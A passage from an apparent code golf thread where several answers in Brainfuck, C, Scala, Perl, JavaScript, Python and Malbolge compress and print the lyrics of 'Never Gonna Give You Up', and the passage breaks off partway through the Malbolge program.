<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++ .>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<. >>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.-- .>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<< <<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++++++.----.<<<<. >>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+.<<<<< <<..>>>.>>---.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>++++++ .++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.> >+.<<.>>----.<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<< <.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>--- -.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+ ++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>> >>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<< <<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.< <<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>> >>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>++ +.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<< .>>>>----.<<<<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++ ++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+. ``` Pretty sure I can get a bit better by tuning it, but This is pretty good for now. Assuming you have no problem with this being much large than the original text. [Answer] # 589, C (only library function is putchar) ``` c,k;main(n){char*s="&-P;nDstrKgQsLlove>@rules<sDdD-i7Rfull commitUnMVtASTkEof> wWldNget Sis from Ky?guy10-XifYask U6doNF U5OblTdLseeG//G442201//&383letYdown3run arWnd<desQt53Bcry3sZ[odbye3F Rlie<hurt5G&7P've:n each?for sDlong>r hear=achEbut>OshyLsH7Tside P boS: V=[Eon7P@gaU<P;CplHG&7i just wKnRF56[ttRBundQstKdG/&J)3I, 9IG(-8)G&79&J, 8)G& yW& howAfeelTg7&G-&IYup&nevQ C& know&'re & X&Mbeen &7yW& oSQ &: Se & -i'm &makeY&[nnR&o &Tg &tell&\n&Zit&give&(-ooh&an& tD&t's &n't &;toD&we&er&a &th&in&me&wha&ou&Kd &5 &ay &go";for(k|=32*!n;c=*s++;c-38?n?0:c-45>48U?k=!putchar(c-k):main(c-45):n--);} ``` * Table of substitution rules where characters in the range -..\_(45..90) specify which rule to apply, thus some 48 rules (45, c-45>U48 in code), other characters are to be printed * rules are delimited by the '&' character (38 in code, n is decremented until the zero and thus s points to the correct rule) * rule 0 indicates that the next character should be capitalized (by setting k=32 in code), this frees up more space to add a larger continuous range of characters for rules * main(..) is called with 1 (as per zero argument C program convention), and thus rule 1 is the root rule ## Evolution of code * shaved a further 9 bytes off thanks to ugoren's suggestion * shaved another 36 bytes off by creating table algorithmically rather than by hand, and via the "'" tip * shaved another 15 bytes off by changing the table from a char\*[] into a single string where '&' delimits portions * shaved yet another 19 bytes thanks to more tips from ugoren * shaved 31 bytes by adding more rules, made special rule to capitalize, thus allowing more space for rule indexes. * shaved 10 bytes off thanks to yet more tips from urgoren, and tweaking rules slightly [Answer] ## Scala, 613 bytes ``` print(("""We'r%e %n&o &strangers9 t&9lo#ve#4 You47 know7 [th[%rules0 aZndZ 0s&d&I A full commitment's what1 I'm 1[ink=ing= of4 wouldn't get [is from any! o[er !guy> I just wanna <tell<]- ]you-3 how1feel= 3Gotta _make]_uZerstaZ@> . Ne#r$./$ gonna /g2i#]up2$let]down$run arouZ0desert-$_cry$say goodbye$< a lie0hurt-@? We'#7n each!for s&long4r hear;t's been ;ach= but4:'r%to&:shy9say8 it 8Insid%w%bo[7 wha;going on We7 [%game0we're/play8?AZ if]ask me3Don't < me-:bliZ9see@@ 5(Ooh, g2) 556(Ooh)$gi#, ne#r/gi#^ 6(G2)^^?>@@ """/:("!#$%&Z[]^_"++('-'to'@'))){(x,c)=>val y=x.split(c);y(0)+y(1)+y.drop(2).mkString(y(1))} ``` This is a text decompression algorithm, recursively applying the rule that `~stuff~ blah ~ ~` should be converted to `stuff blah stuff stuff` (i.e. the first time you see an unfamiliar symbol pair, it delimits what to copy; thereafter, you fill in the value when you see it). Note: there may be an extra carriage return at the end, depending on how you count. If this is not permissible, you can drop the last one on the quote (saving one character) and change the split to `split(" ",-1)` (spending 3 characters), for 615 bytes. [Answer] ## Perl, 724 714 883 bytes So the change to the rules penalizing the use of Latin-1 kind of killed my solution. It's a different enough approach that I hate to just delete it, though, so here's a restricted version that only uses 7-bit ASCII, as per the new rules, at a *huge* increase in size. ``` sub d{($d=$d{$_})?d(@$d):print for@_}sub r{%d=map{chr,($d=pop)&&[$d,pop]}0..96,113..127;&d}r"We^P nEstraKersPElo~^_-SP< 5lesMsEdEI A3ull commitment's#hat I'mPhink9 of^_#}ldn't^?/Phis3romVny %<r^?uy I just#azP6UhS I'm3eH9 G%ta +JTerstaT^HX5^D 1^@^U^F^CXt^E^Y^X We'~-; each %<r3or sEloK^_r <aL's=ee8ch9=ut^_^PPoEshyPE& it Insi.#e=%h-S#hat's=een|9 on We-SP<^?am7we^Px pl? it ARif]Vsk me hS I'm3eH9 Don'tP6 me]^PPoEb*RtE1e^HX5^D 1^@^U^F^CXt^E^Y^X^HX5^D 1^@^U^F^CXt^E^Y^X (Ooh,FB) (Ooh,FB) (Ooh)4, n^F (GQB) (Ooh)4, n^F (GQB) We'~-; each %<r3or sEloK^_r <aL's=ee8ch9=ut^_^PPoEshyPE& it Insi.#e=%h-S#hat's=een|9 on We-SP<^?am7we^Px pl? it I just#azP6UhS I'm3eH9 G%ta +JTerstaT^HX5^D 1^@^U^F^CXt^E^Y^X^HX5^D 1^@^U^F^CXt^E^Y^X^HX5^D 1^@^U^F^CXt^E^Y^X g evuoo^?nna{0z|000000xry q~_e}`0^N[ 0 Z0a ]dnwo T~it 00RVtrgnuU0le0Q^? o0]LpJ00yaamb ehnSekKiVnMelHurFZf k es0teedn20:>il000?sto0w 0}Y0! +XXy}rB4Cu7*^ZhdUr'|&bdMT^[ U^^e^V^QC^W/X^R;^N^Ll0.^S^K^MV6^To ^G^\8ey^]r^Bc^A^O"=~/./gs ``` Of course the control characters are still mangled here, so you'll still want to use the base64-encoding: ``` c3ViIGR7KCRkPSRkeyRffSk/ZChAJGQpOnByaW50IGZvckBffXN1YiByeyVkPW1hcHtjaHIsKCRk PXBvcCkmJlskZCxwb3BdfTAuLjk2LDExMy4uMTI3OyZkfXIiV2UQIG5Fc3RyYUtlcnNQRWxvfh8t U1A8IDVsZXNNc0VkRUkKQTN1bGwgY29tbWl0bWVudCdzI2hhdCBJJ21QaGluazkgb2YfI31sZG4n dH8vUGhpczNyb21WbnkgJTxyf3V5CkkganVzdCNhelA2VWhTIEknbTNlSDkKRyV0YSArSlRlcnN0 YVQIWDUECTEAFQYDWHQFGRgKCldlJ34tOyBlYWNoICU8cjNvciBzRWxvSx9yIDxhTCdzPWVlOGNo OT11dB8QUG9Fc2h5UEUmIGl0Ckluc2kuI2U9JWgtUyNoYXQncz1lZW58OSBvbgpXZS1TUDx/YW03 d2UQeCBwbD8gaXQKQVJpZl1Wc2sgbWUgaFMgSSdtM2VIOQpEb24ndFA2IG1lXRBQb0ViKlJ0RTFl CFg1BAkxABUGA1h0BRkYCFg1BAkxABUGA1h0BRkYCgooT29oLEZCKQooT29oLEZCKQooT29oKTQs IG5eRgooR1FCKQooT29oKTQsIG5eRgooR1FCKQoKV2Unfi07IGVhY2ggJTxyM29yIHNFbG9LH3Ig PGFMJ3M9ZWU4Y2g5PXV0HxBQb0VzaHlQRSYgaXQKSW5zaS4jZT0laC1TI2hhdCdzPWVlbnw5IG9u CldlLVNQPH9hbTd3ZRB4IHBsPyBpdAoKSSBqdXN0I2F6UDZVaFMgSSdtM2VIOQpHJXRhICtKVGVy c3RhVAhYNQQJMQAVBgNYdAUZGAhYNQQJMQAVBgNYdAUZGAhYNQQJMQAVBgNYdAUZGApnIGV2dW9v f25uYXswenwwMDAwMDB4cnkgcX5fZX1gMF5OWwowIFowYSAgXWRud28gVH5pdCAwMFJWdHJnbnVV MGxlMFF/IG8wXUxwSjAweWFhbWIgZWhuU2VrS2lWbk1lbEh1ckZaZiBrIGVzMHRlZWRuMjA6Pmls MDAwP3N0bzB3IDB9WTAhCitYWHl9ckI0Q3U3KhpoZFVyJ3wmYmRNVBsKVR5lFhFDFy9YEjsODGww LhMLDVY2FG8gBxw4ZXkdcgJjAQ8iPX4vLi9ncw== ``` --- Because I think it should still be visible despite being DQ'd, here's the original solution: ``` sub d{($d=$d{$_})?d(@$d):print for@_}sub r{%d=map{chr,[pop,pop]}45..63,122..255;&d}r" ¯:ç5raâ08/þ; Ölesì|dçI AÌull comm°6ntŒ3èhink1fÍýldn'tÿÙèhisÌromðny4ÿuy ju5Íaú=î9GÐ Ëäï0ï 'þœn ea}4Ìo|/â-aêÔ}ÜÚut.shy8ÎnsiÞÍeÚÐhœ3nü1n;ÿamÓwe¯ù plá Aíifôðsk 6 9Don't= 6ô.bÕítçÏe ,ã2,ã2)Û,:õã¶Gé2)Û,:õã¶Gé 'þœ ea}4Ìo|/â-aêÔ}ÜÚut.shy8ÎnsiÞÍeÚÐhœ3nü1n;ÿamÓwe¯ù plá ju5Íaú=î9GÐ Ëäï0ï g evuooÿnnaûúürþýyøeùö÷ N õó òa dn ô ïíðwotrþit oleôêuîéÿgnyalæpäedkaâiãòb teënØkurilðnìeeheÝtoesásw f ÑmÖñY r'bdhÓÏÞÕ tñìïñåîÙëdÎñ× s'oüyrÁÅeyÄð( åÞŸºrÔlñtieÈàŽý²Æ·Â­¬®Ë¹À±šßÊnuª¥Çcîµ€£©eW³¡«»¢ýÉŠ¿§ÛoOI ° I )ßee¶ rhm'Úat oèÜæçŒrÒÐtaÒèëo hcçseÌ hz{àèreœn >?çèhÍemts 7~Üs<ol¯Ò"=~/./gs ``` The base64-encoding of the script: ``` c3ViIGR7KCRkPSRkeyRffSk/ZChAJGQpOnByaW50IGZvckBffXN1YiByeyVkPW1hcHtjaHIsW3Bv cCxwb3BdfTQ1Li42MywxMjIuLjI1NTsmZH1yIqCvOuc1cmHiMDgv/ps7INZsZXPsfGTnSQpBzHVs bCBjb21tsDZudLwzjOhoaW5rMWabzf1sZG4ndP/Z6Ghpc8xyb23wbnk0/3V5lSBqdTXNYfo97jlH 0Iogy+TvMIrvCpeJJ/69biBlYX00zG+PfC/imy1h6oXUfdzadXSbLnNoeTjOlJVuc2nezWXa0Gi9 M4Vu/DFuiTv/YW3Td2Wv+SBwbOGUCkHtaWb08HNrIDYgOURvbid0PSA29C5i1e10589lCn+OLOMy LOMyKdssOvXjtkfpMinbLDr147ZH6ZIKiSf+vSBlYX00zG+PfC/imy1h6oXUfdzadXSbLnNoeTjO lJVuc2nezWXa0Gi9M4Vu/DFuiTv/YW3Td2Wv+SBwbOGUCpUganU1zWH6Pe45R9CKIMvk7zCK7wp/ l2cgZXZ1b2//bm5h+/r8cv79efhl+fb3IE4K9fMg8mEgZG4g9CDv7fB3b3Ry/ml0ICBvbGX06nXu 6f9nbnlhbOZw5GVka2HiaePyYiB0Zetu2Gt1cmls8G7sZWVoZd10b2Vz4XN3IGYg0W3W8VkKcidi ZGjTz97VIHTx7O/x5e7Z62TO8dcgcydv/HlywcVlecTwKAoK5cO4vrpy1GzxdGllyOC0/bLGt8Kt rK7LucCxqN/KbnWqpcdj7rWko6llV7Ohn6u7nqKd/cmmv5yap9uZmG9PSQqwIEkgKd9lZZa2IHJo kG0njZOR2mF0oApv6Nzm54iLvHLShNB0YdLojOuXl28gaGPnc2XMCoeAaHp74OhyZYG9biA+P+fo aM1lbXRzgyCCN46SftxzPG9shq/SjyI9fi8uL2dz ``` [Answer] # JavaScript 666 Bytes Inspired by [tkazec](https://codegolf.stackexchange.com/users/4506/tkazec)'s solution. Check out the [blog post](http://eikes.github.com/suffixtree/) I wrote about it, it contains all the sources and explains how I built that code. You can copy and paste the code into your browser's console. Or try it at <http://jsfiddle.net/eikes/Sws4g/1/> ``` t="We're no strangers to love|YouSrules;so do I|A full commitment's what?think7f|You wouldn't get this from anyLguy^zQnqAnd if:ask me[Don'tEme yRblind=ee{HUH_]|Qq^{x<br>{zxz||xxZKVlet:downVrun around;deseBVMcryVsay goodbyeV8a liFhuB||q eachLfor so long|Your hearPaching but|YRshy=@Inside we bothCwhaPgo7n|WeSgamFwe'reJpl@_U]^|I just wannaEyou[Gotta Munderstand](Ooh)|Z, nX|(GU[ how?feeling|ZNXXTgiveV|NTUiveK)|TeverJSCthe Rou're too QWe've9Pt's been Mmake:L other K:upJ gonna H(Ooh, gFe;E 8C9 Brt you@ay it|? I'm = to s; and : you 9 know8tell 7ing o";c="|{zxq_^][ZXVUTSRQPMLKJHFECB@?=;:987".split("");while(l=c.pop()){t=t.split(l);t=t.join(t.pop())}document.write(t) ``` [Answer] # Python 781 731 605 579 Chars There are a lot more and much better answers from when I first saw this, but I did waste a lot of time on my python script so I am going to post it any way, it would be awesome to see suggestions to further shorten it, Edit : thanks to Ed H's suggestions 2 chars chopped, to go further I might have to restructure a lot of thing here which is going to take some time ``` s="e |nd|-We| a|-(Ooh|N| what|ive| go|ay it-|I|er|G|o |make5 |D| th| othH |A| tF|ing |nna |tell|'s been|'rS|-You|-N4| know|L5 up|PR | you|evHK>| how I'm feeling-|O, g7)|O)9gL, n4gL-(G7)|-I just wa>=53Gotta EuRHstaR-.|Q've8n eachBfor sFlong:r heart<Pch?but:;toFshy@sJInsidSwSboth8M<K?onQ8CSgame6we;go>plJ|9g79let5 down9runProuR6desHt59Ecry9sayKodbye9=P lie6hurt5-|\n|Q;nFstrangHs@love:8CSrules6sFdFI-A full commitment'sM I'mCink?of: wouldn't getCis fromPnyBguy0/AR if5Psk me3Don't = me5;[[email protected]](/cdn-cgi/l/email-protection)/0..";i=83 exec"x,s=s.split('|',1);s=s.replace(chr(i),x);i-=1"*39 print s ``` After the first time that I manually produced the string(very tedious), I wrote a function to recursively find the pattern replacing which was most profitable(at that step), which gave me a solution but it turned out to increase the size by 10 chars. So, I made my algorithm a little less greedy by instead of doing the final ranking only on 'characters reduced', ranking on a function of 'characters reduced', 'length of pattern' and 'counts of pattern' pattern length = length count = count ``` rank = [(length-1)*count - length - 2] + lengthWeight * length + countWeight * count ``` Then I asked my poor laptop to run infinitely, assigning random values to `lengthWeight` and `countWeight` and get different final compression sizes, and store the data for minimum compression sizes in a file In half an hour or so it came up with the above string (I tried to tinker with it further to see if I could shorten the code), and it won't go any lower, I guess I'am missing something here. here's my code for it, also `max_pattern` is very slow (Note: code spits out a string similar to form in my previous version of the solution, I manually worked through it to get the current form, by manually I mean, manually in python shell) ``` import itertools global pretty global split split = False pretty = False # try to keep as much visibility as possible def prefrange(): return range(32,127) + ([] if pretty else ([10, 9, 13] + [x for x in range(32) if x not in (10, 9, 13)] + [127])) def asciichr(): return [chr(x) for x in prefrange()] def max_pattern(s, o, lenw, numw): l = len(s) patts = [] for c in range(l/2+1,1,-1): allsub = [s[i:i+c] for i in range(0, l, c)] subcounts = [[a, s.count(a)] for a in allsub if len(a) == c] repeats = [(x, y, ((c-o)*y - o*2 - c)) for x, y in subcounts if y > 1] ranks = [(x, y, (z + lenw*c + numw*y)) for x,y,z in repeats if z > 0] patts = patts + ranks try: return sorted(patts, key=lambda k: -k[2])[0] except: return None def sep(): return '~~' if pretty else chr(127) + chr(127) def newcharacter(s): doable = [x for x in asciichr() if x not in s] if len(doable) == 0: doable = list(set(x+y for x in asciichr() for y in asciichr() if x+y not in s and x+y != sep())) if len(doable) == 0: return None return doable[0] def joined(s, l): one = [x for x in l if len(x)==1] two = [x for x in l if len(x)==2] return ''.join(reversed(two)) + sep() + ''.join(reversed(one)) + sep() + s def compress(s, l=[], lenw=0, numw=0): newchr = newcharacter(s) if newchr == None: if not l: return s return joined(s,l) else: ptn = max_pattern(s, len(newchr), lenw, numw) if ptn == None: if not l: return s return joined(s, l) s = s.replace(ptn[0], newchr) s = ptn[0] + newchr + s l.append(newchr) return compress(s, l, lenw, numw) def decompress(s): lst2, lst, s = s.split(sep(),2) li = [lst2[i:i+2] for i in xrange(0, len(lst2), 2)]+list(lst) for c in li: x, s = s.split(c, 1) s = s.replace(c, x) return s def test(times): import random rnd = random.random tested = {(1001, 1001): (10000, 10, False),} org = open('text').read() minfound = 1000 for i in xrange(times): l,n = 1001,1001 while (l,n) in tested: # i guess this would be random enough xr = lambda: random.choice((rnd(), rnd()+rnd(), rnd()-rnd(), rnd()*random.choice((10,100,1000)), -1*rnd()*random.choice((10,100,1000)),)) n = xr() l = xr() sm = compress(org, l=[], lenw=l, numw=n) try: dc = decompress(sm) except: tested[l,n] = (len(sm), len(sm)/float(len(org)), 'err') continue tested[l,n] = (len(sm), len(sm)/float(len(org)), dc==org) if len(sm) < minfound: minfound = len(sm) open('min.txt','a').write(repr(tested[l,n])+'\n') print '~~~~~~~!!!!!!! New Minimum !!!!!!!~~~~' return tested if __name__ == '__main__': import sys split = False try: if sys.argv[2] == 'p': pretty = True except: pretty = False org = open(sys.argv[1]).read() try: l=float(sys.argv[3]) n=float(sys.argv[4]) except: l,n=0,0 sm = compress(org,lenw=l,numw=n) print 'COMPRESSED -->' print sm, len(sm) #open('new.py','w').write(sm) print len(sm)/float(len(org)) print 'TRYING TO REVERT -->' dc = decompress(sm) #print dc print dc==org ``` [Answer] # Malbolge, 12735 bytes ``` D'`N^?o!6}{FW1gSSR2PO)oo98[H('3}C#"?xwO*)L[Zp6WVlqpih.lkjihgI&^F\a`Y^W{[ZYX:Pt7SRQPOHGkK-CHA@d>C<;:9>=6Z:9876v43,+Op.',%*#G'&}$#"y?}_uts9qvo5sUTpong-NMib(fedFEa`_X|\[T<RQVOsSRQP2HlLKJCgAFE>=aA@">76;:9870Tu-2+*)Mn,+*#"!Efe{z!x>|utyxwpo5Vlqpih.fed*ba`&^c\[`Y}@\[TSXQuUTMLQPOHl/EDIHAeED=BA@?8\<|438765.R,r*)(L,+$j"'~D${c!x>_uzyrq7XWsl2ponmfN+LKgf_^c\"Z_^]VzZYX:VOsSRQ3IHGk.JCBAeEDCB;:9]~<5Yzy705432+0/(L,l$H('&feB"yxw={zsxq7Xnsrkjoh.lkdiba'eGcba`Y}@VUySXQPONMqQ3IHlLEJIBA@d'=BA:?87[;:z870T4-2+O/.'&JIj"'&}Cd"!x>|uzyxqpo5slk10nPf,jLKa'_dcb[!_X@VzZ<XQPOsSRQJImMFEJCBAeED=<;_?>=6|:32V05432+0)M-&+*#Gh~}|Bc!x>_{tyr8vutsrTpoh.lkjihgI&^F\[`_X|VUZSRWVOs6LQJImGLEJIBAeED&B;_?!=654X87wv4-Q1qp('&Jk)"!&}C#zb~wv{t:[qpotsrk1oQPlkd*hgfe^]#aZB^]V[ZSwWP8TSLpJ2NGkE-IBA@dDCBA:^!~654Xy705.-Q1*/.'&%Ij('&}C#"!~}|ut:[wvonm3qpongO,jLKa'eGc\[!_A@VzZYX:Pt7SRQPImM/KJIBAe?'=<;_9>=<5492V6/43,P0/('&+*#G'&feBzb~}|uts9wYXn4rqpoQPlkd*hJIe^$ba`Y}WV[Tx;:PONrLKJONGkE-IBAe(D=<A@?>7[;{z810/S-,+0/('&J$j(!E}|#z!x>|{t:xqYo5slTpingf,jLba`&^Fb[`_X|\UTx;WPUTMqQPO1GkE-IBA@dD=B;:?8\<;4981U5432+*)Mn,%Ij('~}|Bc!x}|ut:9wYunmrk1onmfN+LKa'edFEa`_X|?Uyx;WPUTMqQ3ONMFjJIHA@d'CB;:?8\6|:32V65ut,P0po'&+$#(!E%|#"y?w|{tyr8vutsrTpoh.lkjihgI&^F\[`_X|VUZSRWVOsS5QPIHGkEJIHAed>&<`@9>=<;4X876/.3210)(Lm+*#G'~}$#zy~w=u]sxq7Xtmlkji/POe+*hg`Hd]#DZ_^]Vz=SXQVUNrR43ImMLKJIH*@d>C<`#"8=<;:3Wx05.3,P0po'&+$#(!E%$#"yx>|uts9wYonm3Tpinglkd*hJIedcb[!_X@VzT<RQVOsSRQP2HlL.JIBf)?DCB;@?>7[;43Wx0/43,P0/.-m%*#GF&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,Pqp(Lm%I)i!~}C{cy?}v{tyr8vuWmrqji/mlejihgf_^]#a`BA]\[Tx;WPUTMqQP2NGFEiIHA)?c&<;@98\};:3W76/u3,+*N.',+$H(!g%${A!~}vu;sxwpun4rqjRnmf,MLbgf_dc\"`BXWVzyYXWP8NrRQ32NMLEDhHGF?>C<`@9876Z4321U5432+*)M-,+*ji!E}|{"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\[ZSRWVOsS54JnNML.DhHA@EDCB;_"!=<5Y3y165.-Q1*/.-&Jk#"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#"!x>|{z\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfeE'=<;:9]=<;{z870T.-2+*/.-&J*)(!~}C{cy?}v{tyr8YXnml2ji/glkdcb(f_dcbaZ~^]\U=SwQVOTMRQJImG/EJCHAe(D=B;@?>7[|:9876/.3,Pqp(',+*#G'&feBzy~w={]yxwvo5mrqj0hmlejiba'eG]b[`Y}@VUySXWPUTMqQJ2NGkEJCHA@dDCB;_987<;:9810Tu3,10).'K+$j"'~D|dz@~}_{t:xqpon4rqjRnmf,jchaf_%]Ea`_^]VzZYXQ9UNr54JnH0LKDhHGFEDCB;_?!~<;:981U/u3,+*N.-,%k)"Fg%$#"!x>v{tyrq7Xtmrk1oQPfejc)gfH%]baZ_^W{[TSwv9OTMLp3ONMLEDhBGFEDC<;_"!7[|{9870T43,+Op.-&+$)"F&f$#zy~w=^]sxqpo5srqpoQg-Njchafedc\"`_X]VzZYR:u87SLKJnNM/KDhBGF?>=aA@?!~6;:3W7wv.-2+O/o-&J$j"'~D${c!x>|{tyxq76nsrkpi/gfkdiba'HGcb[!_^@VUTx;WPUTMqQPONM/EiCHG@dDCB;_987<;:9810T.-,10)M',%$)"F&feB"!a}|u;\xqputm3qpRQ.fkdcbg`&dFEaZ~A@\[TxXQ9UTMqQPINMFjJ,HG@d'=BA:?87[;:z8765.R210/o-&J$j"'~D$dc!x>|uzyxqpo5Vlqping-kdchg`_%cE[`Y}]?>ZSRWVOsM5KoOHMFjJCHGF?cCB;@?87[;:z8765.R,1*/.-&%Ij('~}|Bc!x>_utsxqpo5mlk1onmfN+iKg`_^$E[!~^]\U=SwQVOTMRQJImMLKD,HAe?DCBA@?>7[|{92V6/.3210)(Lm+*#G'&feBzy~w={ts9wvXnm3kSohglkjiha'e^]\a`Y}@VUyYX:POTMqQJ2NMLKDhHA@dD=<`#"8=<;:3W7654-Q10/('K+$)(!EfeBzb~wv{t:[wpon4Ukji/Plkjchgf_^$bDZ_^]VzZ<Rv9OTMLpPON0/KJIHAeE>=B;:9]~654X270T.-2+*/.-&J*j"!~D${cy?}v{tyr8vuWsrqpi/mleMihgf_^]#aZ_XWVzyYXWP8NrRQ32NMLEDhHA)?cCB$@987[5{321U5u32+O)o'&J*ji'~D${c!x>_{tsrwvun4lTjih.lkjihJI_%F\aZ_^W{>=YXWPOsS54PIm0/KJCBAe(>=<A@?>=<;4Xyx65.R210).'K+k#G'&feB"b~}v<zsxwp6Wmrqping-kdcha'e^F\[`_X|\[ZYX:Pt7SRQPOHGkE-CHA@d>C<;:9>=6Z:z8765.R210)o'&J$)"!~%${A!~`v{zyr8pXnslk1onmfN+Lbgfe^]#aC_X|{[ZSXWVOsMRKoONML.DhHA)E>bB;:9]=6|49810/.R2r*).-&J*)(!&}C#c!x}v<]\xqputm3qponmfN+LKa'edFEa`_X|?Uyx;WPUTMqQJnH0FKJCHAe?>CBA:?87[|{98765.R210).'K+k#G'gfC{cy~}vu;yxwvXWsl2ponmfN+LKa'_^$#DZ_^]Vz=<XWPtT65QJn1GLEDhHGF(>C<A@9]=<;:3y76/St,+Opo'&%Ij(!~%|Bz@a}|{t:[wvun43qpRQ.-Ndcha'edFEa`_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#DZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\<;492Vw5.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\UySRQPtsSR43ImM/KJIBAeE>&<`@9876Z4321U5432+*)M-,+*ji!E}|{"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\[ZSRWVOsS54JnNML.DhHA@EDCB;_"!=<5Y3y165.-Q1*/.-&Jk#"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#"!E}|{"y~w={]\xqpo5srqjoh.-kjchgf_%cE[`Y}]\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#"!x>|{z\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfe(>=a$@9]=<;{z876/S3210/o-&J*j"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=6|:32V0/432+Op.'K+k#G'&feBzb~w=^]srqpo5srqpRQ.fejiha'edFEa`_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\a`_^]\UTxX:Pt7MRKJIHlLE-IBAe(D=<A:^>~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\[!_^]\[Z<Rv9UTMRKPOHlF.DhBGF?>=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,